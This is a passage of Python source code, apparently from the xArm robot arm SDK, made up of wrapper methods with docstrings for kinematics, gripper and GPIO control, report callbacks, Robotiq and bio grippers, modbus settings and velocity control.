self._arm.set_mount_direction(base_tilt_deg, rotation_deg, is_radian=is_radian) def clean_conf(self): """ Clean current config and restore system default settings Note: 1. This interface will clear the current settings and restore to the original settings (system default settings) :return: code code: See the API code documentation for details. """ return self._arm.clean_conf() def save_conf(self): """ Save config Note: 1. This interface can record the current settings and will not be lost after the restart. 2. The clean_conf interface can restore system default settings :return: code code: See the API code documentation for details. """ return self._arm.save_conf() def get_inverse_kinematics(self, pose, input_is_radian=None, return_is_radian=None): """ Get inverse kinematics :param pose: [x(mm), y(mm), z(mm), roll(rad or °), pitch(rad or °), yaw(rad or °)] Note: the roll/pitch/yaw unit is radian if input_is_radian is True, else ° :param input_is_radian: the param pose value(only roll/pitch/yaw) is in radians or not, default is self.default_is_radian :param return_is_radian: the returned value is in radians or not, default is self.default_is_radian :return: tuple((code, angles)), only when code is 0, the returned result is correct. code: See the API code documentation for details. angles: [angle-1(rad or °), angle-2, ..., angle-(Number of axes)] or [] Note: the returned angle value is radians if return_is_radian is True, else ° """ return self._arm.get_inverse_kinematics(pose, input_is_radian=input_is_radian, return_is_radian=return_is_radian) def get_forward_kinematics(self, angles, input_is_radian=None, return_is_radian=None): """ Get forward kinematics :param angles: [angle-1, angle-2, ..., angle-n], n is the number of axes of the arm :param input_is_radian: the param angles value is in radians or not, default is self.default_is_radian :param return_is_radian: the returned value is in radians or not, default is self.default_is_radian :return: tuple((code, pose)), only when code is 0, the returned result is correct. code: See the API code documentation for details. pose: [x(mm), y(mm), z(mm), roll(rad or °), pitch(rad or °), yaw(rad or °)] or [] Note: the roll/pitch/yaw value is radians if return_is_radian is True, else ° """ return self._arm.get_forward_kinematics(angles, input_is_radian=input_is_radian, return_is_radian=return_is_radian) def is_tcp_limit(self, pose, is_radian=None): """ Check the tcp pose is in limit :param pose: [x, y, z, roll, pitch, yaw] :param is_radian: roll/pitch/yaw value is radians or not, default is self.default_is_radian :return: tuple((code, limit)), only when code is 0, the returned result is correct. code: See the API code documentation for details. limit: True/False/None, limit or not, or failed """ return self._arm.is_tcp_limit(pose, is_radian=is_radian) def is_joint_limit(self, joint, is_radian=None): """ Check the joint angle is in limit :param joint: [angle-1, angle-2, ..., angle-n], n is the number of axes of the arm :param is_radian: angle value is radians or not, default is self.default_is_radian :return: tuple((code, limit)), only when code is 0, the returned result is correct. code: See the API code documentation for details. limit: True/False/None, limit or not, or failed """ return self._arm.is_joint_limit(joint, is_radian=is_radian) def emergency_stop(self): """ Emergency stop (set_state(4) -> motion_enable(True) -> set_state(0)) Note: 1. This interface does not automatically clear the error. If there is an error, you need to handle it according to the error code. """ return self._arm.emergency_stop() def set_gripper_enable(self, enable, **kwargs): """ Set the gripper enable :param enable: enable or not Note: such as code = arm.set_gripper_enable(True) #turn on the Gripper :return: code code: See the Gripper code documentation for details. """ return self._arm.set_gripper_enable(enable, **kwargs) def set_gripper_mode(self, mode, **kwargs): """ Set the gripper mode :param mode: 0: location mode Note: such as code = rm.set_gripper_mode(0) :return: code code: See the Gripper code documentation for details. """ return self._arm.set_gripper_mode(mode, **kwargs) def get_gripper_position(self, **kwargs): """ Get the gripper position :return: tuple((code, pos)), only when code is 0, the returned result is correct. code: See the Gripper code documentation for details. """ return self._arm.get_gripper_position(**kwargs) def set_gripper_position(self, pos, wait=False, speed=None, auto_enable=False, timeout=None, **kwargs): """ Set the gripper position :param pos: pos :param wait: wait or not, default is False :param speed: speed,unit:r/min :param auto_enable: auto enable or not, default is False :param timeout: wait time, unit:second, default is 10s :return: code code: See the Gripper code documentation for details. """ return self._arm.set_gripper_position(pos, wait=wait, speed=speed, auto_enable=auto_enable, timeout=timeout, **kwargs) def set_gripper_speed(self, speed, **kwargs): """ Set the gripper speed :param speed: :return: code code: See the Gripper code documentation for details. """ return self._arm.set_gripper_speed(speed, **kwargs) def get_gripper_err_code(self, **kwargs): """ Get the gripper error code :return: tuple((code, err_code)), only when code is 0, the returned result is correct. code: See the API code documentation for details. err_code: See the Gripper code documentation for details. """ return self._arm.get_gripper_err_code(**kwargs) def clean_gripper_error(self, **kwargs): """ Clean the gripper error :return: code code: See the Gripper code documentation for details. """ return self._arm.clean_gripper_error(**kwargs) def get_tgpio_digital(self, ionum=None): """ Get the digital value of the specified Tool GPIO :param ionum: 0 or 1 or None(both 0 and 1), default is None :return: tuple((code, value or value list)), only when code is 0, the returned result is correct. code: See the API code documentation for details. """ return self._arm.get_tgpio_digital(ionum) def set_tgpio_digital(self, ionum, value, delay_sec=None): """ Set the digital value of the specified Tool GPIO :param ionum: 0 or 1 :param value: value :param delay_sec: delay effective time from the current start, in seconds, default is None(effective immediately) :return: code code: See the API code documentation for details. """ return self._arm.set_tgpio_digital(ionum=ionum, value=value, delay_sec=delay_sec) def get_tgpio_analog(self, ionum=None): """ Get the analog value of the specified Tool GPIO :param ionum: 0 or 1 or None(both 0 and 1), default is None :return: tuple((code, value or value list)), only when code is 0, the returned result is correct. code: See the API code documentation for details. """ return self._arm.get_tgpio_analog(ionum) def get_vacuum_gripper(self): """ Get vacuum gripper state :return: tuple((code, state)), only when code is 0, the returned result is correct. code: See the API code documentation for details. state: suction cup state 0: suction cup is off 1: suction cup is on """ return self._arm.get_suction_cup() def set_vacuum_gripper(self, on, wait=False, timeout=3, delay_sec=None): """ Set vacuum gripper state :param on: open or not on=True: equivalent to calling `set_tgpio_digital(0, 1)` and `set_tgpio_digital(1, 0)` on=False: equivalent to calling `set_tgpio_digital(0, 0)` and `set_tgpio_digital(1, 1)` :param wait: wait or not, default is False :param timeout: wait time, unit:second, default is 3s :param delay_sec: delay effective time from the current start, in seconds, default is None(effective immediately) :return: code code: See the API code documentation for details. """ return self._arm.set_suction_cup(on, wait=wait, timeout=timeout, delay_sec=delay_sec) def get_cgpio_digital(self, ionum=None): """ Get the digital value of the specified Controller GPIO :param ionum: 0~7 or None(both 0~7), default is None :return: tuple((code, value or value list)), only when code is 0, the returned result is correct. code: See the API code documentation for details. """ return self._arm.get_cgpio_digital(ionum=ionum) def get_cgpio_analog(self, ionum=None): """ Get the analog value of the specified Controller GPIO :param ionum: 0 or 1 or None(both 0 and 1), default is None :return: tuple((code, value or value list)), only when code is 0, the returned result is correct. code: See the API code documentation for details. """ return self._arm.get_cgpio_analog(ionum=ionum) def set_cgpio_digital(self, ionum, value, delay_sec=None): """ Set the digital value of the specified Controller GPIO :param ionum: 0~7 :param value: value :param delay_sec: delay effective time from the current start, in seconds, default is None(effective immediately) :return: code code: See the API code documentation for details. """ return self._arm.set_cgpio_digital(ionum=ionum, value=value, delay_sec=delay_sec) def set_cgpio_analog(self, ionum, value): """ Set the analog value of the specified Controller GPIO :param ionum: 0 or 1 :param value: value :return: code code: See the API code documentation for details. """ return self._arm.set_cgpio_analog(ionum=ionum, value=value) def set_cgpio_digital_input_function(self, ionum, fun): """ Set the digital input functional mode of the Controller GPIO :param ionum: 0~7 :param fun: functional mode 0: general input 1: external emergency stop 2: reversed, protection reset 3: reversed, reduced mode 4: reversed, operating mode 5: reversed, three-state switching signal 11: offline task 12: teaching mode 13: reduced mode 14: enable arm :return: code code: See the API code documentation for details. """ return self._arm.set_cgpio_digital_input_function(ionum=ionum, fun=fun) def set_cgpio_digital_output_function(self, ionum, fun): """ Set the digital output functional mode of the specified Controller GPIO :param ionum: 0~7 :param fun: functionnal mode 0: general output 1: emergency stop 2: in motion 11: has error 12: has warn 13: in collision 14: in teaching 15: in offline task 16: reduced mode 17: enable arm 18: emergency stop is pressed :return: code code: See the API code documentation for details. """ return self._arm.set_cgpio_digital_output_function(ionum=ionum, fun=fun) def get_cgpio_state(self): """ Get the state of the Controller GPIO :return: code, states code: See the API code documentation for details. states: [...] states[0]: contorller gpio module state states[0] == 0: normal states[0] == 1:wrong states[0] == 6:communication failure states[1]: controller gpio module error code states[1] == 0: normal states[1] != 0:error code states[2]: digital input functional gpio state Note: digital-i-input functional gpio state = states[2] >> i & 0x01 states[3]: digital input configuring gpio state Note: digital-i-input configuring gpio state = states[3] >> i & 0x01 states[4]: digital output functional gpio state Note: digital-i-output functional gpio state = states[4] >> i & 0x01 states[5]: digital output configuring gpio state Note: digital-i-output configuring gpio state = states[5] >> i & 0x01 states[6]: analog-0 input value states[7]: analog-1 input value states[8]: analog-0 output value states[9]: analog-1 output value states[10]: digital input functional info, [digital-0-input-functional-mode, ... digital-7-input-functional-mode] states[11]: digital output functional info, [digital-0-output-functional-mode, ... digital-7-output-functional-mode] """ return self._arm.get_cgpio_state() def register_report_callback(self, callback=None, report_cartesian=True, report_joints=True, report_state=True, report_error_code=True, report_warn_code=True, report_mtable=True, report_mtbrake=True, report_cmd_num=True): """ Register the report callback, only available if enable_report is True :param callback: callback data: { 'cartesian': [], # if report_cartesian is True 'joints': [], # if report_joints is True 'error_code': 0, # if report_error_code is True 'warn_code': 0, # if report_warn_code is True 'state': state, # if report_state is True 'mtbrake': mtbrake, # if report_mtbrake is True, and available if enable_report is True and the connect way is socket 'mtable': mtable, # if report_mtable is True, and available if enable_report is True and the connect way is socket 'cmdnum': cmdnum, # if report_cmd_num is True } :param report_cartesian: report cartesian or not, default is True :param report_joints: report joints or not, default is True :param report_state: report state or not, default is True :param report_error_code: report error or not, default is True :param report_warn_code: report warn or not, default is True :param report_mtable: report motor enable states or not, default is True :param report_mtbrake: report motor brake states or not, default is True :param report_cmd_num: report cmdnum or not, default is True :return: True/False """ return self._arm.register_report_callback(callback=callback, report_cartesian=report_cartesian, report_joints=report_joints, report_state=report_state, report_error_code=report_error_code, report_warn_code=report_warn_code, report_mtable=report_mtable, report_mtbrake=report_mtbrake, report_cmd_num=report_cmd_num) def register_report_location_callback(self, callback=None, report_cartesian=True, report_joints=True): """ Register the report location callback, only available if enable_report is True :param callback: callback data: { "cartesian": [x, y, z, roll, pitch, yaw], ## if report_cartesian is True "joints": [angle-1, angle-2, angle-3, angle-4, angle-5, angle-6, angle-7], ## if report_joints is True } :param report_cartesian: report or not, True/False, default is True :param report_joints: report or not, True/False, default is True :return: True/False """ return self._arm.register_report_location_callback(callback=callback, report_cartesian=report_cartesian, report_joints=report_joints) def register_connect_changed_callback(self, callback=None): """ Register the connect status changed callback :param callback: callback data: { "connected": connected, "reported": reported, } :return: True/False """ return self._arm.register_connect_changed_callback(callback=callback) def register_state_changed_callback(self, callback=None): """ Register the state status changed callback, only available if enable_report is True :param callback: callback data: { "state": state, } :return: True/False """ return self._arm.register_state_changed_callback(callback=callback) def register_mode_changed_callback(self, callback=None): """ Register the mode changed callback, only available if enable_report is True and the connect way is socket :param callback: callback data: { "mode": mode, } :return: True/False """ return self._arm.register_mode_changed_callback(callback=callback) def register_mtable_mtbrake_changed_callback(self, callback=None): """ Register the motor enable states or motor brake states changed callback, only available if enable_report is True and the connect way is socket :param callback: callback data: { "mtable": [motor-1-motion-enable, motor-2-motion-enable, ...], "mtbrake": [motor-1-brake-enable, motor-1-brake-enable,...], } :return: True/False """ return self._arm.register_mtable_mtbrake_changed_callback(callback=callback) def register_error_warn_changed_callback(self, callback=None): """ Register the error code or warn code changed callback, only available if enable_report is True :param callback: callback data: { "error_code": error_code, "warn_code": warn_code, } :return: True/False """ return self._arm.register_error_warn_changed_callback(callback=callback) def register_cmdnum_changed_callback(self, callback=None): """ Register the cmdnum changed callback, only available if enable_report is True :param callback: callback data: { "cmdnum": cmdnum } :return: True/False """ return self._arm.register_cmdnum_changed_callback(callback=callback) def register_temperature_changed_callback(self, callback=None): """ Register the temperature changed callback, only available if enable_report is True :param callback: callback data: { "temperatures": [servo-1-temperature, ...., servo-7-temperature] } :return: True/False """ return self._arm.register_temperature_changed_callback(callback=callback) def register_count_changed_callback(self, callback=None): """ Register the counter value changed callback, only available if enable_report is True :param callback: callback data: { "count": counter value } :return: True/False """ return self._arm.register_count_changed_callback(callback=callback) def register_iden_progress_changed_callback(self, callback=None): """ Register the Identification progress value changed callback, only available if enable_report is True :param callback: callback data: { "progress": progress value } :return: True/False """ return self._arm.register_iden_progress_changed_callback(callback=callback) def release_report_callback(self, callback=None): """ Release the report callback :param callback: :return: True/False """ return self._arm.release_report_callback(callback) def release_report_location_callback(self, callback=None): """ Release the location report callback :param callback: :return: True/False """ return self._arm.release_report_location_callback(callback) def release_connect_changed_callback(self, callback=None): """ Release the connect changed callback :param callback: :return: True/False """ return self._arm.release_connect_changed_callback(callback) def release_state_changed_callback(self, callback=None): """ Release the state changed callback :param callback: :return: True/False """ return self._arm.release_state_changed_callback(callback) def release_mode_changed_callback(self, callback=None): """ Release the mode changed callback :param callback: :return: True/False """ return self._arm.release_mode_changed_callback(callback) def release_mtable_mtbrake_changed_callback(self, callback=None): """ Release the motor enable states or motor brake states changed callback :param callback: :return: True/False """ return self._arm.release_mtable_mtbrake_changed_callback(callback) def release_error_warn_changed_callback(self, callback=None): """ Release the error warn changed callback :param callback: :return: True/False """ return self._arm.release_error_warn_changed_callback(callback) def release_cmdnum_changed_callback(self, callback=None): """ Release the cmdnum changed callback :param callback: :return: True/False """ return self._arm.release_cmdnum_changed_callback(callback) def release_temperature_changed_callback(self, callback=None): """ Release the temperature changed callback :param callback: :return: True/False """ return self._arm.release_temperature_changed_callback(callback=callback) def release_count_changed_callback(self, callback=None): """ Release the counter value changed callback :param callback: :return: True/False """ return self._arm.release_count_changed_callback(callback=callback) def release_iden_progress_changed_callback(self, callback=None): """ Release the Identification progress value changed callback :param callback: :return: True/False """ return self._arm.release_iden_progress_changed_callback(callback=callback) def get_servo_debug_msg(self, show=False, lang='en'): """ Get the servo debug msg, used only for debugging :param show: show the detail info if True :param lang: language, en/cn, default is en :return: tuple((code, servo_info_list)), only when code is 0, the returned result is correct. code: See the API code documentation for details. """ return self._arm.get_servo_debug_msg(show=show, lang=lang) def run_blockly_app(self, path, **kwargs): """ Run the app generated by xArmStudio software :param path: app path """ return self._arm.run_blockly_app(path, **kwargs) def run_gcode_file(self, path, **kwargs): """ Run the gcode file :param path: gcode file path """ return self._arm.run_gcode_file(path, **kwargs) def get_gripper_version(self): """ Get gripper version, only for debug :return: (code, version) code: See the API code documentation for details. """ return self._arm.get_gripper_version() def get_servo_version(self, servo_id=1): """ Get servo version, only for debug :param servo_id: servo id(1~7) :return: (code, version) code: See the API code documentation for details. """ return self._arm.get_servo_version(servo_id=servo_id) def get_tgpio_version(self): """ Get tool gpio version, only for debug :return: (code, version) code: See the API code documentation for details. """ return self._arm.get_tgpio_version() def get_harmonic_type(self, servo_id=1): """ Get harmonic type, only for debu :return: (code, type) code: See the API code documentation for details. """ return self._arm.get_harmonic_type(servo_id=servo_id) def get_hd_types(self): """ Get harmonic types, only for debug :return: (code, types) code: See the API code documentation for details. """ return self._arm.get_hd_types() def set_counter_reset(self): """ Reset counter value :return: code code: See the API code documentation for details. """ return self._arm.set_counter_reset() def set_counter_increase(self, val=1): """ Set counter plus value, only support plus 1 :param val: reversed :return: code code: See the API code documentation for details. """ return self._arm.set_counter_increase(val) def set_tgpio_digital_with_xyz(self, ionum, value, xyz, fault_tolerance_radius): """ Set the digital value of the specified Tool GPIO when the robot has reached the specified xyz position :param ionum: 0 or 1 :param value: value :param xyz: position xyz, as [x, y, z] :param fault_tolerance_radius: fault tolerance radius :return: code code: See the API code documentation for details. """ return self._arm.set_tgpio_digital_with_xyz(ionum, value, xyz, fault_tolerance_radius) def set_cgpio_digital_with_xyz(self, ionum, value, xyz, fault_tolerance_radius): """ Set the digital value of the specified Controller GPIO when the robot has reached the specified xyz position :param ionum: 0 ~ 7 :param value: value :param xyz: position xyz, as [x, y, z] :param fault_tolerance_radius: fault tolerance radius :return: code code: See the API code documentation for details. """ return self._arm.set_cgpio_digital_with_xyz(ionum, value, xyz, fault_tolerance_radius) def set_cgpio_analog_with_xyz(self, ionum, value, xyz, fault_tolerance_radius): """ Set the analog value of the specified Controller GPIO when the robot has reached the specified xyz position :param ionum: 0 ~ 1 :param value: value :param xyz: position xyz, as [x, y, z] :param fault_tolerance_radius: fault tolerance radius :return: code code: See the API code documentation for details. """ return self._arm.set_cgpio_analog_with_xyz(ionum, value, xyz, fault_tolerance_radius) def config_tgpio_reset_when_stop(self, on_off): """ Config the Tool GPIO reset the digital output when the robot is in stop state :param on_off: True/False :return: code code: See the API code documentation for details. """ return self._arm.config_io_reset_when_stop(1, on_off) def config_cgpio_reset_when_stop(self, on_off): """ Config the Controller GPIO reset the digital output when the robot is in stop state :param on_off: True/False :return: code code: See the API code documentation for details. """ return self._arm.config_io_reset_when_stop(0, on_off) def set_position_aa(self, axis_angle_pose, speed=None, mvacc=None, mvtime=None, is_radian=None, is_tool_coord=False, relative=False, wait=False, timeout=None, **kwargs): """ Set the pose represented by the axis angle pose :param axis_angle_pose: the axis angle pose, [x(mm), y(mm), z(mm), rx(rad or °), ry(rad or °), rz(rad or °)] :param speed: move speed (mm/s, rad/s), default is self.last_used_tcp_speed :param mvacc: move acceleration (mm/s^2, rad/s^2), default is self.last_used_tcp_acc :param mvtime: 0, reserved :param is_radian: the rx/ry/rz of axis_angle_pose in radians or not, default is self.default_is_radian :param is_tool_coord: is tool coordinate or not :param relative: relative move or not :param wait: whether to wait for the arm to complete, default is False :param timeout: maximum waiting time(unit: second), default is None(no timeout), only valid if wait is True :return: code code: See the API code documentation for details. """ return self._arm.set_position_aa(axis_angle_pose, speed=speed, mvacc=mvacc, mvtime=mvtime, is_radian=is_radian, is_tool_coord=is_tool_coord, relative=relative, wait=wait, timeout=timeout, **kwargs) def set_servo_cartesian_aa(self, axis_angle_pose, speed=None, mvacc=None, is_radian=None, is_tool_coord=False, relative=False, **kwargs): """ Set the servo cartesian represented by the axis angle pose, execute only the last instruction, need to be set to servo motion mode(self.set_mode(1)) Note: 1. only available if firmware_version >= 1.4.7 :param axis_angle_pose: the axis angle pose, [x(mm), y(mm), z(mm), rx(rad or °), ry(rad or °), rz(rad or °)] :param speed: move speed (mm/s), reserved :param mvacc: move acceleration (mm/s^2), reserved :param is_radian: the rx/ry/rz of axis_angle_pose in radians or not, default is self.default_is_radian :param is_tool_coord: is tool coordinate or not :param relative: relative move or not :return: code code: See the API code documentation for details. """ return self._arm.set_servo_cartesian_aa(axis_angle_pose, speed=speed, mvacc=mvacc, is_radian=is_radian, is_tool_coord=is_tool_coord, relative=relative, **kwargs) def get_pose_offset(self, pose1, pose2, orient_type_in=0, orient_type_out=0, is_radian=None): """ Calculate the pose offset of two given points :param pose1: [x(mm), y(mm), z(mm), roll/rx(rad or °), pitch/ry(rad or °), yaw/rz(rad or °)] :param pose2: [x(mm), y(mm), z(mm), roll/rx(rad or °), pitch/ry(rad or °), yaw/rz(rad or °)] :param orient_type_in: input attitude notation, 0 is RPY(roll/pitch/yaw) (default), 1 is axis angle(rx/ry/rz) :param orient_type_out: notation of output attitude, 0 is RPY (default), 1 is axis angle :param is_radian: the roll/rx/pitch/ry/yaw/rz of pose1/pose2/return_pose is radian or not :return: tuple((code, pose)), only when code is 0, the returned result is correct. code: See the API code documentation for details. pose: [x(mm), y(mm), z(mm), roll/rx(rad or °), pitch/ry(rad or °), yaw/rz(rad or °)] """ return self._arm.get_pose_offset(pose1, pose2, orient_type_in=orient_type_in, orient_type_out=orient_type_out, is_radian=is_radian) def get_position_aa(self, is_radian=None): """ Get the pose represented by the axis angle pose :param is_radian: the returned value (only rx/ry/rz) is in radians or not, default is self.default_is_radian :return: tuple((code, [x, y, z, rx, ry, rz])), only when code is 0, the returned result is correct. code: See the API code documentation for details. """ return self._arm.get_position_aa(is_radian=is_radian) def get_joints_torque(self): """ Get joints torque :return: tuple((code, joints_torque)) code: See the API code documentation for details. joints_torque: joints torque """ return self._arm.get_joints_torque() def set_joints_torque(self, joints_torque): """ Set joints torque, Warning: If necessary, please do not set it randomly, it may damage the robot arm :param joints_torque: :return: code code: See the API code documentation for details. """ return self._arm.set_joints_torque(joints_torque) def get_safe_level(self): """ Get safe level :return: tuple((code, safe_level)) code: See the API code documentation for details. safe_level: safe level """ return self._arm.get_safe_level() def set_safe_level(self, level=4): """ Set safe level, :param level: safe level, default is 4 :return: code code: See the API code documentation for details. """ return self._arm.set_safe_level(level=level) def set_timeout(self, timeout): """ Set the timeout of cmd response :param timeout: seconds """ return self._arm.set_timeout(timeout) def robotiq_reset(self): """ Reset the robotiq gripper (clear previous activation if any) :return: tuple((code, robotiq_response)) code: See the API code documentation for details. robotiq_response: See the robotiq documentation """ return self._arm.robotiq_reset() def robotiq_set_activate(self, wait=True, timeout=3): """ If not already activated. Activate the robotiq gripper :param wait: whether to wait for the robotiq activate complete, default is True :param timeout: maximum waiting time(unit: second), default is 3, only available if wait=True :return: tuple((code, robotiq_response)) code: See the API code documentation for details. robotiq_response: See the robotiq documentation """ return self._arm.robotiq_set_activate(wait=wait, timeout=timeout) def robotiq_set_position(self, pos, speed=0xFF, force=0xFF, wait=True, timeout=5, **kwargs): """ Go to the position with determined speed and force. :param pos: position of the gripper. Integer between 0 and 255. 0 being the open position and 255 being the close position. :param speed: gripper speed between 0 and 255 :param force: gripper force between 0 and 255 :param wait: whether to wait for the robotion motion complete, default is True :param timeout: maximum waiting time(unit: second), default is 5, only available if wait=True :return: tuple((code, robotiq_response)) code: See the API code documentation for details. robotiq_response: See the robotiq documentation """ return self._arm.robotiq_set_position(pos, speed=speed, force=force, wait=wait, timeout=timeout, **kwargs) def robotiq_open(self, speed=0xFF, force=0xFF, wait=True, timeout=5, **kwargs): """ Open the robotiq gripper :param speed: gripper speed between 0 and 255 :param force: gripper force between 0 and 255 :param wait: whether to wait for the robotiq motion to complete, default is True :param timeout: maximum waiting time(unit: second), default is 5, only available if wait=True :return: tuple((code, robotiq_response)) code: See the API code documentation for details. robotiq_response: See the robotiq documentation """ return self._arm.robotiq_open(speed=speed, force=force, wait=wait, timeout=timeout, **kwargs) def robotiq_close(self, speed=0xFF, force=0xFF, wait=True, timeout=5, **kwargs): """ Close the robotiq gripper :param speed: gripper speed between 0 and 255 :param force: gripper force between 0 and 255 :param wait: whether to wait for the robotiq motion to complete, default is True :param timeout: maximum waiting time(unit: second), default is 3, only available if wait=True :return: tuple((code, robotiq_response)) code: See the API code documentation for details. robotiq_response: See the robotiq documentation """ return self._arm.robotiq_close(speed=speed, force=force, wait=wait, timeout=timeout, **kwargs) def robotiq_get_status(self, number_of_registers=3): """ Reading the status of robotiq gripper :param number_of_registers: number of registers, 1/2/3, default is 3 number_of_registers=1: reading the content of register 0x07D0 number_of_registers=2: reading the content of register 0x07D0/0x07D1 number_of_registers=3: reading the content of register 0x07D0/0x07D1/0x07D2 Note: register 0x07D0: Register GRIPPER STATUS register 0x07D1: Register FAULT STATUS and register POSITION REQUEST ECHO register 0x07D2: Register POSITION and register CURRENT :return: tuple((code, robotiq_response)) code: See the API code documentation for details. robotiq_response: See the robotiq documentation """ return self._arm.robotiq_get_status(number_of_registers=number_of_registers) @property def robotiq_status(self): """ The last state value obtained Note: 1. Successfully call the robotiq related interface with wait parameter (when the parameter wait = True is set) will update this value 2. Successfully calling interface robotiq_get_status will partially or completely update this value :return status dict { 'gOBJ': 0, # Object detection status, is a built-in feature that provides information on possible object pick-up 'gSTA': 0, # Gripper status, returns the current status & motion of the Gripper fingers 'gGTO': 0, # Action status, echo of the rGTO bit(go to bit) 'gACT': 0, # Activation status, echo of the rACT bit(activation bit) 'kFLT': 0, # Echo of the requested position for the Gripper 'gFLT': 0, # Fault status 'gPR': 0, # Echo of the requested position for the Gripper 'gPO': 0, # Actual position of the Gripper obtained via the encoders 'gCU': 0, # The current is read instantaneously from the motor drive } Note: -1 means never updated """ return self._arm.robotiq_status def set_bio_gripper_enable(self, enable=True, wait=True, timeout=3): """ If not already enabled. Enable the bio gripper :param enable: enable or not :param wait: whether to wait for the bio gripper enable complete, default is True :param timeout: maximum waiting time(unit: second), default is 3, only available if wait=True :return: code code: See the API code documentation for details. """ return self._arm.set_bio_gripper_enable(enable, wait=wait, timeout=timeout) def set_bio_gripper_speed(self, speed): """ Set the speed of the bio gripper :param speed: speed :return: code code: See the API code documentation for details. """ return self._arm.set_bio_gripper_speed(speed) def open_bio_gripper(self, speed=0, wait=True, timeout=5, **kwargs): """ Open the bio gripper :param speed: speed value, default is 0 (not set the speed) :param wait: whether to wait for the bio gripper motion complete, default is True :param timeout: maximum waiting time(unit: second), default is 5, only available if wait=True :return: code code: See the API code documentation for details. """ return self._arm.open_bio_gripper(speed=speed, wait=wait, timeout=timeout, **kwargs) def close_bio_gripper(self, speed=0, wait=True, timeout=5, **kwargs): """ Close the bio gripper :param speed: speed value, default is 0 (not set the speed) :param wait: whether to wait for the bio gripper motion complete, default is True :param timeout: maximum waiting time(unit: second), default is 5, only available if wait=True :return: code code: See the API code documentation for details. """ return self._arm.close_bio_gripper(speed=speed, wait=wait, timeout=timeout, **kwargs) def get_bio_gripper_status(self): """ Get the status of the bio gripper :return: tuple((code, status)) code: See the API code documentation for details. status: status status & 0x03 == 0: stop status & 0x03 == 1: motion status & 0x03 == 2: catch status & 0x03 == 3: error (status >> 2) & 0x03 == 0: not enabled (status >> 2) & 0x03 == 1: enabling (status >> 2) & 0x03 == 2: enabled """ return self._arm.get_bio_gripper_status() def get_bio_gripper_error(self): """ Get the error code of the bio gripper :return: tuple((code, error_code)) code: See the API code documentation for details. error_code: See Chapter 7 of the xArm User Manual for details. """ return self._arm.get_bio_gripper_error() def clean_bio_gripper_error(self): """ Clean the error code of the bio gripper :return: code code: See the API code documentation for details. """ return self._arm.clean_bio_gripper_error() def set_tgpio_modbus_timeout(self, timeout): """ Set the modbus timeout of the tool gpio :param timeout: timeout, seconds :return: code code: See the API code documentation for details. """ return self._arm.set_tgpio_modbus_timeout(timeout) def set_tgpio_modbus_baudrate(self, baud): """ Set the modbus baudrate of the tool gpio :param baud: 4800/9600/19200/38400/57600/115200/230400/460800/921600/1000000/1500000/2000000/2500000 :return: code code: See the API code documentation for details. """ return self._arm.set_tgpio_modbus_baudrate(baud) def get_tgpio_modbus_baudrate(self): """ Get the modbus baudrate of the tool gpio :return: tuple((code, baudrate)), only when code is 0, the returned result is correct. code: See the API code documentation for details. baudrate: the modbus baudrate of the tool gpio """ return self._arm.get_tgpio_modbus_baudrate() def getset_tgpio_modbus_data(self, datas, min_res_len=0): """ Send the modbus data to the tool gpio :param datas: data_list :param min_res_len: the minimum length of modbus response data. Used to check the data length, if not specified, no check :return: tuple((code, modbus_response)) code: See the API code documentation for details. modbus_response: modbus response data """ return self._arm.getset_tgpio_modbus_data(datas, min_res_len=min_res_len) def set_report_tau_or_i(self, tau_or_i=0): """ Set the reported torque or electric current :param tau_or_i: 0: torque 1: electric current :return: code code: See the API code documentation for details. """ return self._arm.set_report_tau_or_i(tau_or_i=tau_or_i) def get_report_tau_or_i(self): """ Get the reported torque or electric current :return: tuple((code, tau_or_i)) code: See the API code documentation for details. tau_or_i: 0: torque 1: electric current """ return self._arm.get_report_tau_or_i() def set_self_collision_detection(self, on_off): """ Set whether to enable self-collision detection :param on_off: enable or not :return: code code: See the API code documentation for details. """ return self._arm.set_self_collision_detection(on_off) def set_collision_tool_model(self, tool_type, *args, **kwargs): """ Set the geometric model of the end effector for self collision detection :param tool_type: the geometric model type 0: No end effector, no additional parameters required 1: xArm Gripper, no additional parameters required 2: xArm Vacuum Gripper, no additional parameters required 3: xArm Bio Gripper, no additional parameters required 4: Robotiq-2F-85 Gripper, no additional parameters required 5: Robotiq-2F-140 Gripper, no additional parameters required 21: Cylinder, need additional parameters radius, height self.set_collision_tool_model(21, radius=45, height=137) :param radius: the radius of cylinder, (unit: mm) :param height: the height of cylinder, (unit: mm) 22: Cuboid, need additional parameters x, y, z self.set_collision_tool_model(22, x=234, y=323, z=23) :param x: the length of the cuboid in the x coordinate direction, (unit: mm) :param y: the length of the cuboid in the y coordinate direction, (unit: mm) :param z: the length of the cuboid in the z coordinate direction, (unit: mm) :param args: additional parameters :param kwargs: additional parameters :return: code code: See the API code documentation for details. """ return self._arm.set_collision_tool_model(tool_type, *args, **kwargs) def set_simulation_robot(self, on_off): """ Set the simulation robot :param on_off: True/False :return: code code: See the API code documentation for details. """ return self._arm.set_simulation_robot(on_off) def vc_set_joint_velocity(self, speeds, is_radian=None, is_sync=True, duration=-1, **kwargs): """ Joint velocity control, need to be set to joint velocity control mode(self.set_mode(4)) Note: 1. only available if firmware_version >= 1.6.9 :param speeds: [spd_J1, spd_J2, ..., spd_J7] :param is_radian: the spd_Jx in radians or not, default is self.default_is_radian :param is_sync: whether all joints accelerate and decelerate synchronously, default is True :param duration: The duration of this speed command, over this time will automatically set the speed to 0 Note: only available if firmware_version >= 1.8.0 duration > 0: seconds duration == 0: Always effective, will not stop automatically duration < 0: default value, only used to be compatible with the old protocol, equivalent to 0 :return: code code: See the API code documentation for details. """ return self._arm.vc_set_joint_velocity(speeds, is_radian=is_radian, is_sync=is_sync, duration=duration, **kwargs) def vc_set_cartesian_velocity(self, speeds, is_radian=None, is_tool_coord=False, duration=-1, **kwargs): """ Cartesian velocity control, need to be set to cartesian velocity control mode(self.set_mode(5)) Note: 1. only available if firmware_version >= 1.6.9 :param speeds: [spd_x, spd_y, spd_z, spd_rx, spd_ry, spd_rz] :param is_radian: the spd_rx/spd_ry/spd_rz in radians or not, default is self.default_is_radian :param is_tool_coord: is tool coordinate or not, default is False :param duration: the maximum duration of the speed, over this time will automatically set the speed to 0 Note: only available if firmware_version >= 1.8.0 duration > 0: seconds, indicates the maximum number of seconds that this speed can be maintained duration == 0: Always effective, will not stop automatically duration < 0: default value, only used to be compatible with the old protocol, equivalent to 0 :return: code code: See the API code documentation for details. """ return self._arm.vc_set_cartesian_velocity(speeds, is_radian=is_radian, is_tool_coord=is_tool_coord, duration=duration, **kwargs) def calibrate_tcp_coordinate_offset(self, four_points, is_radian=None): """ Four-point method to calibrate tool 